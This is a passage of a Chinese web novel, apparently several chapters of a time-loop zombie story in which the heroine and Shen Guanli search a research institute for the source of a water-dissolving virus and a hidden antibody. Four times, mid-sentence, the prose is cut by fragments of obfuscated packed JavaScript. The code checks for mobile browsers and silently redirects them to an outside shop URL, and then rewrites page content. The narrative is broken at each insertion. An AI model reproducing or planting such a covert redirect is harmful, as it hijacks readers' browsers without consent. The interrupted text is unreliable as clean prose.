很快,佣人们慌不择路地经过她的门前,朝着楼梯口跑去,一阵不知是上楼还是下楼的沉重脚步声后,池遥就渐渐听不到脚步声了。 她所在的楼层走廊里,已经没有人了。 一片死寂之中,池遥才后知后觉地感到一丝惧意,逃跑的佣人们所说的“东西”到底是什么,此时那种东西就在门外吗? 池遥浑身僵硬地坐在椅子上,一动不动,周围环境过于安静,她不敢发出声音,不由地放缓了呼吸,眼睛死死盯着紧闭的房门。 她不能离开房间只是系统给她设下的限制,实际上她的房门甚至没有上锁,而此时任何一个外人都能不费吹灰之力地打开她的门。 不知过了多久,这扇不够牢固的木门仍旧完好无损,走廊里的“东西”似乎忽略了她的存在。 池遥仍旧没放松警惕,她闭上眼睛,试图凝聚精神,放出一些精神力查看外面的情况,可惜她在之前多次循环当中耗费了不少精神力,尝试几次都失败了。 突然,敏锐的听力捕捉到了空气里一丝微小的动静。 池遥猛地扭过头,看向身后的窗户。 不知何时,窗户玻璃外侧已经被白色黏液糊满,这种介于液体和固体之间的东西正缓慢地穿过窗户玻璃之间的缝隙,蠕动着挤进了玻璃内侧,发出令人牙酸的声音。 这团白色黏液比池遥见过的任何一团都要巨大,似乎由成千上万的小块白色黏液积聚而成。 池遥倒吸一口冷气,突然听到房门处也传来了什么动静,立刻回过头。 材质脆弱的木门仍旧完好无损,可是池遥却看到,在房门与地面之间的缝隙之间,也有白色黏液慢慢流淌进来,朝着她的方向缓慢蠕动。 从各个缝隙挤进房间内的白色黏液仿佛无穷无尽,很快爬满了房间的每个角落。 如果是在野外,池遥完全不会因此而畏惧,可她现在处在狭窄的房间之内,饶是躲在距离窗户和房门最远的角落里,也只能眼睁睁地看着果冻状的白色黏液朝着她的方向,缓缓接近。 最终,将她完全包裹,吞没。 最先被白色黏液接触到的地方是脚,池遥眼睁睁看着自己的脚在被白色黏液裹住的瞬间溶解,随后是她的腿,渐渐的,整个人彻底被溶进黏液当中,成为了黏液的一部分。 【加载完成】 这一次,在系统的四个大字闪过后,眼前慢慢出现了一段字幕。 你是初次进入北方基地的外来能力者池遥,这是你在北方基地度过的第一个夜晚。 尽管你是第一次来到北方基地,但众人都知道你的身份其实是沈家继承人沈观离的女朋友。 在此之前,你已经与你的伙伴沈观宴和韩厢月一同去到天山,遇见了天山的丧尸王霍云初,很快,北方基地即将迎来丧尸潮的攻击,而你的目标就是在24小时内守住H国现存最大的基地,北方基地。 现在,请开始你的故事。 这些都是池遥早就明确的内容,然而,看到这段介绍,池遥突然意识到,从自己在景点内第一次死去,进入第一次循环后,这段背景介绍就再也没有出现过。 那么,此时眼前再次出现背景介绍,是代表她终于脱离了循环吗? 很快,背景介绍的文字渐渐散去,眼前出现了再熟悉不过的场景,她上一次循环一直没能走出去的客房。 之前的多次循环中,池遥已经习惯了自己重回此处后,身体会自行行动一段时间,她的意识会短暂失去对身体的控制。 然而,这一次,回到客房后,她却没有身体受限的感觉,她的意识仍旧牢牢支配着自己的身体。 看来,她真的脱离循环了。 与喜悦一同涌上来的是对将要面临未来的迷惘。 之前的循环之中,她明确知晓,自己在循环中死亡后还能迎来下一次循环,因此对自己的生命愈发没有了顾忌,可现在脱离循环后,她如果再次遭受致命攻击,在景点内死亡后,会真正在景点里失去性命吧? 她还有很多事情没有搞懂,此时突然脱离循环,愈发迷茫不安。 池遥习惯性地抬起手臂,看了一眼手表显示的时间。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085173|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >凌晨十二点零二。 这个时间点,一切都还来得及。 丧尸王尚未赶到,兽潮没有到来,运送屏蔽仪的四人也没有回到基地。 眼下,有一件事情还等着她去做。 顾不上检查房间,池遥推开门,迅速离开客房,一路来到了地下实验室。 首先,放火烧掉高等丧尸体内的肉虫,从根源上杜绝虫潮。 池遥将高等丧尸从冰柜中丢出来点燃,持刀杀死从高等丧尸体内掏出的线形虫,直到地板上的所有线形虫突然全部死亡,才收回武器,转身离开。 接下来,她联系了沈观离,二人一同赶往韩厢月的房间,池遥言简意赅地将自己在数次循环中的发现讲给几位同伴。 “这一次丧尸潮,天山所有丧尸将会倾巢出动,丧尸王也会来到基地外。如果你也去城墙上对抗丧尸潮,一定会被丧尸王影响,所以,你留在基地内,把所有潜入基地的丧尸都找出来。” “好。”韩厢月点点头。 “丧尸王实力太强,我们没办法正面对付。我的一个伙伴正带着一个可以冻结丧尸王的冷冻道具赶来基地,大概早上九点钟会到达基地入口处,你一定要等到他,带着冷冻道具杀死丧尸王,这样丧尸潮才能彻底解决。” 池遥看向沈观宴,她将最艰巨的重任交到了沈观宴身上。 “我的伙伴叫苏榕,年纪不大,看起来就像个男高中生,他的能力是变成不同生物,如果你看到白色的猫,白色的鸟,或者其他看起来智商很高的动物,不用怀疑,就是他。” “临近中午的时候,基地入口东南侧的城墙会遭到变异兽潮的攻击,你把这件事告诉苏榕,让他来抵挡变异兽潮,他一个人就能抵挡住。” 沈观宴神色凝重地倾听池遥的话,重重地点了点头。 “那你呢?”韩厢月问她。 “你不去城墙上对付丧尸潮吗?” 池遥脑海中浮现出奇怪的白色黏液,被白色黏液的她逐渐溶解的场景。 “我还有一件很重要的事情要做。”她看向身旁一言不发的沈观离。 这一次,她没有时间与沈观离互相自爆身份,但她想,沈观离早就从她的一举一动之中,认出了她正是一同踏入景点的池遥本尊。 上一次循环里,被白色黏液吞没后,池遥残存的思维突然意识到了一件事。 如此庞大的白色黏液吞没了沈家宅邸,此时沈家宅邸内部想必已经空无一人,不久前人来人往的庭院一定也变得空空荡荡。 这之前,池遥和沈观离曾经一同去往研究所探查,她一直没想清楚研究所所在的园区为何会变得空无一人,仿佛所有生物都人间蒸发了。 然而,联想到自己被白色黏液吞没的经历,以及研究所园区保安岗亭内的衣物,她突然明白了。 自己当时见到的研究所,正是已然被白色黏液洗劫一空的样子。 “我想去研究所看看,可以帮我联系车和司机吗?”这一次,她再次开口,求助沈观离。 “好。”沈观离点了点头,“如果池遥小姐不介意的话,我和你一起去,可以吗?” 她当然不会介意了。 154. 选择循环11 在池遥的要求下,前往研究所的车子没有从基地正面的出口离开,而是从背侧的小门离开了基地。 “除了正门,研究所还有其他入口吗?” 池遥问身旁的沈观离。 她很想把自己先前经历的白色黏液和溶解现象告知沈观离,然而还没开口,就收到了系统的警告,于是就不说话了。 “我找找。”沈观离手里拿着一块平板电脑,正在屏幕上操作着什么,没一会儿,将屏幕上的画面转向池遥,示意池遥一起看。 “这是我从父亲电脑上拷下来的研究所资料。” 池遥凑上去一看,发现屏幕上显示的是研究所大楼的剖面图,将研究所内的每一条路径都标注得清清楚楚,只有最底层的构造没有标示出来。 除了研究所正门入口,园区背侧还有另一个入口,入口通向研究所的后门,除后门之外,研究所还设有一个紧急出口,从研究所地下四层的逃生隧道通向园区外,不过末日降临后,这个紧急出口就被废弃了。 想到上次去研究所,园区内四下无人的情形,池遥盯着剖面图仔细观察一番,尽可能将研究所构造记在脑子里。 “我觉得我们可以试试这里。”她伸手,指了一下屏幕上的紧急出口。 沈观离没有提出异议,直接交代司机开往园区外的入口。 一个小时后,车子到达入口处,二人下了车,沿紧急出口隧道进入了研究所。 紧急出口的隧道已经弃置很久了,周围一片漆黑,呼吸之间能闻到潮湿的泥土味,四下一片安静,池遥一手拉着沈观离的衣袖,走在前面。 走了将近十分钟,隐隐能看到前方有微弱的光线,研究所近在眼前了。 沈观离对照着平板电脑里的密码,打开了紧急出口大门,二人走进研究所,意料之外的是,池遥还记得自己上次在研究所外观察时,研究所内部看起来一片漆黑,但真正来到研究所内部,里面的电力系统却还在正常运转。 研究所地下每一层的格局相差不大,都是回形走廊,只有最底层,也就是地下五层的构造是资料上没有给出的,进入研究所内部后,周围仍然一片死寂,池遥在心中叹了一口气,轻轻拽了拽沈观离的衣角,没说话,转而用手语磕磕绊绊地问他打算先去哪里。 保险起见,两人没有下楼,而是打算先在地下四层探查一下情况。 研究所地上部分共五层,大多是会议区和办公区,而真正用于研究和实验的区域则集中在地下一到四层,二人检查了几间实验室,没见到任何研究人员,只能看到培养皿中的动物和丧尸。 此时是凌晨两点,研究员不在实验室内似乎也是正常情况,可是想到之前探查园区的经历,池遥却怎么都放不下心。 二人来到了下一间实验室。 池遥将手放在门把手上,用力按下,门把手却纹丝不动,换沈观离尝试也是相同的结果,他尝试几次后发现无论做什么都打不开门,伸手指了一下门把手下的连着钥匙的锁孔,尝试拧钥匙,试了好半天,朝池遥摇摇头。 这扇门被从房间内反锁了。 为什么会从内部反锁? 二人无法得出此问题的答案,继续前去下一间实验室,然而在整个地下四层走了一圈,却发现,整个地下四层,近半数的实验室大门都处于内部反锁状态。 路过电梯,池遥抬头看了一眼屏幕,显示电梯停在地下二层,就按下了上行键,很快,就听到了电梯运行的声音。 正对电梯的实验室大门上方有一面长方形玻璃,可以透过玻璃从实验室内看到走廊里的情况,池遥拉着沈观离躲进实验室里,藏在大门后,观察着电梯门。 “叮!” 电梯很快到达,电梯门缓缓打开,里面空无一人,电梯内壁却是白色的。 池遥蹙起眉,定睛看去,身体一僵。 电梯内的确空空荡荡,然而,原本是金属色的内壁上却爬满了蠕动的白色黏液,电梯门打开后,白色黏液似乎也毫无察觉,仍旧附着在电梯内壁上。 几秒后,电梯门自动关闭,这些白色黏液再度被关在电梯内,池遥才松了口气。 看来,她的猜测是正确的,研究所内果然有这种白色黏液,而且恐怕数量很多。 沈观离此前并未接触过这种白色黏液,但看到池遥的脸色,立刻意识到这种白色黏液的危险性,神色严肃了些。 地下四层已经走遍了,二人从楼梯来到了地下三层,自从在电梯里看到了白色黏液后,池遥就对周围环境更加警惕了,研究所内走廊四周环境是明亮的白色,白色黏液一旦藏匿在走廊里,很容易被人忽略掉。 与分散着各种小型实验室的地下四层不同,地下三层的实验室很大,而且有好几间实验室内部被打通,形成了一个连通的大实验室,里面放置的实验品和实验器材也更多。 经过一个存放着丧尸的培养仓,池遥拉住身旁的人,示意他看培养仓前的标签。 培养仓内是一具无头丧尸的尸体,尸体已然干瘪,因为溶液的作用尚未腐烂,标签上只写着四个字:高等丧尸。 周围还有几个培养仓,里面同样是无头丧尸的尸体,有的还缺失了脊椎骨部分,标签上同样标着四个字:高等丧尸。 基地研究所内的高等丧尸实验体,比池遥想象得要多出不少。 至今为止,池遥接触的高等丧尸几乎都是霍云初用自己的血液创造出的“子嗣”,但在这个世界幸存者的普遍认知中,高等丧尸是人类被丧尸咬后变异成的丧尸。 霍云初回到北方基地后,只要求归还沈家地下实验室里的高等丧尸,没有提及基地研究所的丧尸,池遥一直以为研究所内没有高等丧尸。 看来,基地研究所内的高等丧尸与霍云初无关,更何况此时已经全部变成尸体,他自然察觉不到了。 走过放置高等丧尸尸体的培养仓,是冷冻着活体丧尸的培养仓,标签上显示,培养仓内的丧尸虽然不是高等丧尸,但也是极为稀有的四五级丧尸。 走到下一间房间,这间与方才放满培 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089435|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养仓的实验室连通的房间内放置了大量纸质资料,还有不少不该出现在实验室里的杂物。 池遥拿起一沓材料,逐字浏览起来。 标题写着:《基于高等丧尸脑源性病毒的逆向感染机制研究》 纸质资料上的内容都是论文和文献,内容枯燥乏味,池遥硬着头皮看下去,不由自主地瞪大了眼睛。 看了一会儿,一旁的沈观离突然走过来,池遥翻看材料的时候,沈观离打开了一个黑色皮革外壳的笔记本,此时一脸凝重地将笔记本递到了池遥手上。 池遥将自己手里的材料与他交换,打开了笔记本。 这是一本研究员的日记,从末日到来开始写起,前几个月的内容平平无奇,都是他在研究所工作内容的记录,这位研究员一直在研究普通丧尸的身体构造,试图找出人类变成丧尸的原因,研制出解决丧尸危机的丧尸药,却一直没有任何进展。直到第二次丧尸潮过后,内容渐渐变成了池遥刚刚在纸质材料中了解的内容。 11月4日:这次丧尸潮过去后,丧尸再次得到了进化,出现了保留人类意识,外表和人类毫无差别的高等丧尸,不过,这种丧尸究竟是这次丧尸潮中出现的,还是一直都存在,只是刚刚被我们发现? 11月13日:实验室秘密收到了第一只高等丧尸样本,只不过只剩下了头颅部分,我们立刻解剖了高等丧尸的脑子。高等丧尸的脑部构造与人类和普通丧尸都不一样,高等丧尸脑中没有晶核,脑髓液还没有干涸,成分与人类相似,这难道是他们保持人类意识的原因? 11月25日:如果丧尸无法变回人类,有没有让丧尸找回人类意识,变成高等丧尸的办法? 12月17日:这个月收到了第二只高等丧尸样本,这次只有上半身,这只高等丧尸的脑髓液和脊髓液成分研究和上次的研究结果相同,说不定可以把这种成分提取出来。 1月6日:终于收到了第一只活着的高等丧尸实验体,也成立了专题研究小组,说不定这次真的可以研制出丧尸药。 2月8日:今天解析出了高等丧尸脑髓中的特别物质,原来并非成分不同,而是人类转变成高等丧尸的过程中,脑中发生了病变,受病毒影响,脑髓和脊髓成分都发生了变化。 2月15日:今天终于成功从脑髓中分离出了第一例病毒样本,我将这种病毒命名为高等丧尸脑源性病毒,简称Z型病毒,病毒原株于底层冷冻封存。 之后漫长的一个月时间,日记都没有更新,但池遥先前阅读的论文材料大多出自于这个时间段,这段时间,研究员所在的实验组成果累累,研制出多种基于Z型病毒的变异病毒和衍生病毒。 多种变异病毒中,一种被简称为ZIX病毒的变异株取得了极大进展,这种病毒的实验体丧尸不再对人类抱有攻击性,在一周后逐渐恢复了人类意识,可以进行简单交流,能回想起人类时期的事,尽管恢复了人类意识,但身体强度仍然维持在普通丧尸等级。 研究员们欣喜若狂,加大了试验范围。 155. 选择循环12 研究材料显示,四月中旬,ZIX病毒的实验出现了第一例成功病例。 五月初,出现了第二例和第三例成功病例。 如果池遥没记错,她初次来到北方基地也是五月初的事,怪不得资料内没有提及这三位成功恢复意识的丧尸的后续进展。 二月份断掉的日记,在四月末续上了。 4月25日:唯一的成功病例自杀了,只能重新培养实验体了。 4月28日:沈家是什么时候豢养了高等丧尸?为什么沈家的高等丧尸脑髓液成分与我过往的研究不一样?出了什么问题? 4月30日:不对,这不可能!难不成沈家的高等丧尸才是丧尸进化的最终结果?那我们研究的高等丧尸又是什么? 据池遥所知,沈家抓捕的高等丧尸是经由霍云初的血液转变而成的高等丧尸,与自然形成的高等丧尸不同,难不成霍云初和普通高等丧尸之间也存在差异吗? 5月7日:提取出了沈家高等丧尸脑中的物质,这种高等丧尸竟然天然携带Z型病毒的抗体!我们现在的研究真的能治愈普通丧尸吗?难道第一个实验体的死亡不是偶然?抗体的事不能被其他人发现!我把病毒抗体和病毒一起封存起来了! 5月8日:新的成功病例也相继自杀了,看来不改变丧尸的本质,只让他们恢复意识,只会加重实验体的道德感和负罪感,并不能起到根除丧尸病毒的作用,Z型病毒真的是正确的吗? 5月9日:不对!发生了什么事? 日记断在五月九日,这几页纸张隐约发皱,慌乱潦草的字迹也已然模糊不清。 池遥猜想,这几页纸大概被水洇湿过。 一旁的沈观离已经看完手中的资料,来到池遥身旁,指了指最后一个日期,用手指在白纸上写出两个字。 昨天。 没错,最后一页的内容是昨天写下的。 如研究所内真的出了什么事,也只能是昨天刚发生的。 除此之外,池遥看向前天的日记,日记中提到了很反常的一点,新出现的两个成功病例相继自杀了。 为什么会自杀,是因为恢复人类意识的丧尸无法接受丧尸身份,所以直接自杀了吗? 可是,连续三个成功病例都是自杀,虽然理论上也说得过去,但池遥总觉得怪怪的。 而且,究竟是怎么自杀的? 日记和研究论文中都没有提到这一点。 池遥在脑海中回忆了一遍研究所的构造,研究所内的中控室在一楼,趁着研究所内电力正常,说不定可以查看一下这几天的监控。 二人沿着楼梯走上一楼,中控室在走廊内侧,研究所内前后两侧有两条楼梯,一条在入口大厅附近,另一条楼梯则在走廊深处,两人从内侧楼梯上了楼,中控室就在楼梯口旁边。 进入中控室前,池遥瞥了一眼前方的走廊,似乎在远处走廊看到了什么东西,还没看清,就已经进入到了中控室内。 中控室内空无一人,大屏幕的监控还在工作,显示着实时监控,池遥本想立刻切换成几天前的监控,但却在实时监控内发现了熟悉的东西。 白色黏液。 监控显示,整个研究所空无一人。一楼以上的楼层,几乎全部被白色黏液填满,黏液中还卷着白大褂等衣物,近半监控摄像头表面已经糊满了白色黏液,只能看到小半块监控视野,而他们所在的一楼内侧走廊虽然看起来尚未被白色黏液占据,但外侧的一楼大厅,墙壁和天花板上却爬满了白色黏液,地板上虽然没有白色黏液,但却到处都是杂乱的衣物和鞋子,是已经被白色黏液溶解的研究员们的遗物。 与池遥上次所见的情况不同,研究所一楼电力运行正常,灯火通明,可所有的玻璃,包括出口大门处全部被白色黏液填得没有一丝缝隙,从外部看去,就是漆黑一片的。 看到这幅景象,池遥与沈观离对视一眼,庆幸他们没有从正门走进来,而是选择了从地下潜入,阴差阳错避开了危险的白色黏液。 一楼以上的部分不能去了,在中控室看到楼上的危险情况,池遥不由地咽了口唾沫,舔了舔发干的嘴唇。 她似乎有些渴。 然而,周围并没有水,而且她记得自己某次循环的死因就是喝水后身体溶解,还是强忍干渴比较好。 沈观离调出了地下三层实验室三天前的监控录像,顺着实验室里的几位研究员的踪迹,很快就找到了两位尚未死亡的成功病例。 与研究报告和日记中所讲述的内容不同,这一次从监控中直观地观察这两个成功病例,池遥发现这两只恢复了意识的丧尸只是没有攻击倾向。虽然能够讲话,但回答研究员的问话时明显表现得十分僵硬,行动速度比常人迟缓不少,而且表情一直没有变过,神色恍惚,实在不能算是成功的病例。 接下来,两人一直追逐着这两只丧尸的踪迹。 5月8日凌晨,两只平日里表现得十分老实的丧尸突然从实验室里走了出来。 一只丧尸沿着楼梯,来到了研究所最底层。 不知为何,研究所底层几乎没设置监控,丧尸下楼后二人就没办法继续追踪了,池遥和沈观离记下了丧尸的行动轨迹,继续追踪第二只丧尸。 第二只丧尸来到一楼,突然进入了前方的监控死角,随后,也失去了踪影。 池遥切换了好几个附近的监控摄像头视角,也没有发现第二只丧尸的踪迹。 究竟去了哪里呢? 切回实时监控,池遥忽然发现,研究所内的监控摄像头是可以远程操控,进行一定限度的旋转的。 她立刻操控第二只丧尸消失的方位附近的摄像头,上下左右旋转一周,看清了丧尸所在的死角。 这里只是一段平平无奇的走廊,无论朝哪个方向前进,必然会进入下一段监控的监控范围,怎么会凭空消失呢? 她不信邪再次操控摄像头转了一圈,在摄像头朝向走廊墙壁上方时,突然停住了摄像头视角。 此时,眼前的墙壁最顶上,显现出一个稀松平常的通风口。 难道第二只丧尸进入了通风管道里? 勉强找到答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102039|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,池遥却仍旧无法理解丧尸的动机。 无奈之下,二人将监控调到一个月前,找到了第一个成功病例的监控记录。 与后续的两只丧尸不同,这一只丧尸的确是自杀死亡的,它亲手折断了自己的脖子,在意外发生几分钟后,研究员们就迅速赶到,一切似乎没什么可追究的。 池遥将丧尸自杀的监控反复看了三遍,蹙起眉头,将视频放大,给沈观离指出了她觉得奇怪的地方。 就在自杀前几秒,丧尸的鼻孔里,突然淅淅沥沥流淌下一股又一股无色液体,它却仿佛毫无察觉似的,折断了自己的脖子。 丧尸也会流鼻涕吗? 池遥想不通,而且直觉告诉她,那从丧尸鼻孔留下来的液体质地很像清水,似乎并不是鼻涕。 那是什么? 一楼的白色黏液数量太多,还是地下楼层更安全,二人决定沿着第一只丧尸的踪迹,去最底层看看情况。 然而,打开门,池遥却发现,眼前走廊的地面与墙壁夹角里,已经有稀稀拉拉的白色黏液沿着墙角蠕动了。 幸好眼前就是楼梯,池遥拉着沈观离快步下楼,期间周边的白色黏液被他们的动静吸引,朝着他们的方向蠕动,但它们的行动速度太慢,很快就被池遥二人甩在了后面。 经过地下二层时,池遥余光看到,地下二层的走廊里也出现了一些白色黏液,不过面积都比较小,没有像楼上的白色黏液一样形成规模。 事到如今,她还是不知道,这些白色黏液究竟是什么东西。 很快,二人从第一只丧尸所经过的楼梯,来到了最底层。 研究所最底层十分宽敞,足有两层楼高,二人面前不远处,是一个巨大的自动控制室,控制室内部贴着操作说明。 与基地居民区不同,基地研究所的水电等资源都是独立运行的,研究所内有独立的供水系统,抽取地下水,经过净化后,变成研究所内干净无毒的饮用水。整个过程全封闭进行。除此之外,研究所内使用过的废水也会在地下控制室内经过净化后重新投入使用,不过不会作为饮用水。这段过程未被净化的废水会储存在地下控制室几米高的水箱里。 研究所内的供水系统是自动运行的,只要没有研究员干预,可以一直循环抽取地下水,循环净化废水。二次净化废水的流程虽然也是封闭进行的,但可以从控制室内打开水箱。 此时,控制室内的系统显示,抽取地下水仍在进行,但对废水的净化系统却被关闭了。 控制室桌上放着一本工作日志,池遥打开日志,直接翻到最后一页。 5月8日:发现地下三层研究小组的丧尸实验体主动投入水箱自杀,目前丧尸尸体已被回收,进行检测,净化系统暂停使用。 投水的丧尸尸体已经被回收,但是,池遥突然想到第一例丧尸死前,鼻腔中流出的液体。 恐怕,眼前的水箱内,已经混入了这种液体。 可是,净化系统已经停止使用了,水箱里的水没有进入循环系统,按理来说,应该造不成危害才对。 156. 选择循环13 线索再次断了。 池遥长叹一口气,蹙眉思索,余光瞥到沈观离清瘦的脖颈紧缩了一下,喉结上下起伏,似乎在吞咽的样子。 她抬眼,看向沈观离的脸。 “你怎么了?” 最底层还没有发现白色黏液,她总算可以说话了。 “忽然觉得很渴。”沈观离叹了口气,“奇怪,我明明之前一直没有这种感觉,进了研究所就觉得喉咙发干,刚才一直都能忍受的,只不过......” 他的目光转移向前方的水箱。 即便知道水箱里的水已经被污染,可成吨的水放在一个干渴的人面前,不停地催生起他喉咙怪异的灼烧感。 “你也很渴吗?”听到沈观离的话,池遥的神色立刻紧张起来,她回想起自己一直以来都觉得十分干渴的喉咙。 来到研究所后,她也开始口渴了。 然而,池遥比沈观离更能忍耐这种干渴的感觉,这全部都倚仗于她曾经在口渴喝水时身体溶化成了水,之前经历过的每一次死亡,都在无形中转变成了她的经验。 “忍住,不要喝水。”想到自己曾经的死状,池遥神色凝重地看了沈观离一眼,即便她没有说明原因,但沈观离见到她的表情分外认真,立刻点头。 这边的线索断了,尚未探寻的线索只剩下了通风口。 基地研究所是最高级保密设施,只有一层安装了窗户,其余楼层都是密闭结构,全靠研究所内的通风系统进行控制,而在此之前,有一只丧尸进入了通风口。 继续待在底层也无济于事,二人又回到了地下三层的实验室内,在实验室里重新翻找出来。 实验室里上锁的柜子也被池遥暴力破坏,打开柜门,里面是一沓资料。 标题为——关于丧尸脑源性病毒(Z型病毒)的危险性和可行性研究。 在此之前,这种病毒一直被用在丧尸身上,池遥没有见到任何一篇研究论文中提到了此类病毒对人类的作用,在这些资料中,终于找到了答案。 资料中记录了一件事。 偌大的研究团队,每个人负责不同的环节,由于病毒是从丧尸体内提取出的,因此,所有研究员进入实验室后都会穿防护服和无菌手套,把自己严密包裹起来。 一次,一个研究员不小心用皮肤直接触碰到了病毒。 短时间内,他似乎没有表现出任何异常,其他研究员们便放下心,然而,几小时后,这位研究员在喝了一口水后,身体突然溶化,在其他研究员面前化成了一滩水。 什么都没剩下。 研究员们这才发现,Z型病毒虽然可以帮助丧尸恢复人类意识,对于人类而言却是十分恐怖的武器,感染病毒的人类短时间内没有异样,但却会逐渐感觉十分干渴,一旦喝下水,就会溶化成水。 这件事发生后,研究员们立刻停止研究,将情况汇报给了研究所的上级。 然而,他们却收到了继续研究病毒的命令。 上级命令,封锁所有病毒对人体有害的情报,继续研究这种病毒。 池遥紧盯着手中材料描述人类感染后症状的文字,心慢慢冷了下来。 很明显,她和沈观离在进入研究所后,就感染了这种病毒。 可是,他们并没有直接接触到这种病毒,究竟是如何感染的呢? 研究所内的研究员又是如何感染的呢? 究竟是多大规模的感染,竟然让研究所所在的整个园区变得空无一人。 三只成功病例,第一只丧尸自杀身亡。 第二只丧尸感染了基地水源,第三只丧尸钻进了基地通风口。 想到这里,池遥呼吸一窒。 不会吧? 难不成,病毒是通过通风口的空气传播的? 因此,只要是在研究所内待过的人,全部都感染了病毒。 随后,一个接一个的溶化。 只要想到当时的情形,池遥就感觉浑身发冷。 沈观离在池遥身边与她一同看完了封存的材料,一时间,二人面面相觑,无人开口。 病毒通过通风口传播,因此,在踏入研究所的第一刻,池遥和沈观离就感染了Z型病毒。 即便此时查出了一部分真相,他们也走不出研究所了。 只是,到了此刻,还有一个问题没有得到解答。 遍布研究所各处的白色黏液究竟是什么东西? 池遥在心中深深叹了口气。 在她身旁,沈观离也在蹙眉思索,他似乎隐隐想起了什么东西,突然眼睛一亮,攥紧池遥的手腕。 池遥感受到他的力道,抬头看去,见沈观离在虚空中写下了两个字。 ——抗体。 顿时,池遥想起了自己曾经翻越过的日记。 研究员提取出了病毒抗体,和病毒原株一同封存,就在研究所底层! 池遥挣开沈观离圈着她手腕的手,反手握紧他的手,拉着他离开地下三层。 他们在实验室待了一个多小时,此时地下三层的走廊地上也出现了不少白色黏液,在地上蠕动,二人躲避开白色黏液,尽可能放轻动作,一路赶往底层。 不久前,二人只去了底层的净水系统控制室,就离开了最底层,还没有搜索其他地方。 研究所底层的温度明显比上层低一些,穿过控制室,二人才明白原因,底层包含了实验垃圾处理室,重要样品封存室,以及低温实验室,这些房间的温度都远低于走廊的温度。 这一次,池遥在从地下三层到地下四层的楼梯上,还看到了白色黏液的踪迹,但通向底层的楼梯上却没有发现白色黏液。 难不成,这种白色黏液厌恶低温环境? 果然,到了底层,二人每走进一间房间,池遥都要检查一番房间容易藏匿白色黏液的几个角落,一次都没有发现白色黏液的踪迹。 重要样品封存室内摆放着许多玻璃柜,存放着各种实验的样品,二人在角落的柜子里找到了贴着Z型病毒研究组牌子的两个保险箱。 保险箱内各封存着一支注射器,注射针管表面和保险箱内没有任何文字说明,只有看过日记的池遥和沈观离知道,这两支注射器内分别装着唯一一支Z型病毒原株,和唯一一支病毒抗体。 病毒抗体未经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106532|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过实验,不确定是否真的能对抗感染者体内的病毒,成功几率不大。 病毒原株会加重体内病毒的情况,但他们感染的病毒严格来说是研究员们把病毒原株经过多次变异后形成的变异株ZIX病毒,若是注射X型病毒原株,不知道会发生什么。 眼下最大的问题,是他们根本不知道哪一支才是病毒抗体。 池遥蹲在地上,盯着两个注射器发呆,一旁的沈观离突然抬手掩唇,喉结上下滚动一下。 喉咙处的烧灼感越来越强了。 池遥同样不好受,但她亲身经历过眼睁睁看着自己的身体溶化的痛苦,眼下还能忍受,只不过,身旁的人似乎已经很难忍耐了。 她扭过头,看了一眼身旁的沈观离。 “我们去低温实验室吧。” 低温实验室内可以调整温度,进入实验室后,池遥调低了实验室内的温度,低温环境可以在一定程度上缓解干渴。 低温实验室很大,十分空旷,比地下三层多个房间连在一起的实验室还要大。房间内空空荡荡,只有房间正中央有一架无法移动的铁架床,池遥和沈观离就分坐铁架床的两端。让池遥意外的是,低温实验室的天花板是玻璃组成的,可以从地下四层的实验室里直接观测到此处的情况。 “池遥。”沈观离扯起嘴角,冲她笑了一下,他的状态比池遥更加难捱,脸色也白了几分。 “我们碰碰运气吧。” 他的笑容十分凄凉。 眼下,两支注射器,一人一支,凭运气注射,是最好的解决办法,至少有一个人可以得到抗体的治疗。 池遥本想先找出病毒抗体注射器,实在不行,二人可以各注射一半抗体,可听到沈观离的声音,她却有些动摇了。 至少,两人中有一个人能够活下去。 只是,这一次,自己已经脱离了循环,如果再次在景点内死去,会不会迎来真的死亡呢? 许久,她轻轻点了一下头。 “你先选吧。” “你想选哪个?” 二人同时开口,意识到这种无用的默契,又面对面苦笑一声,各自握住距离自己更近的一支注射器。 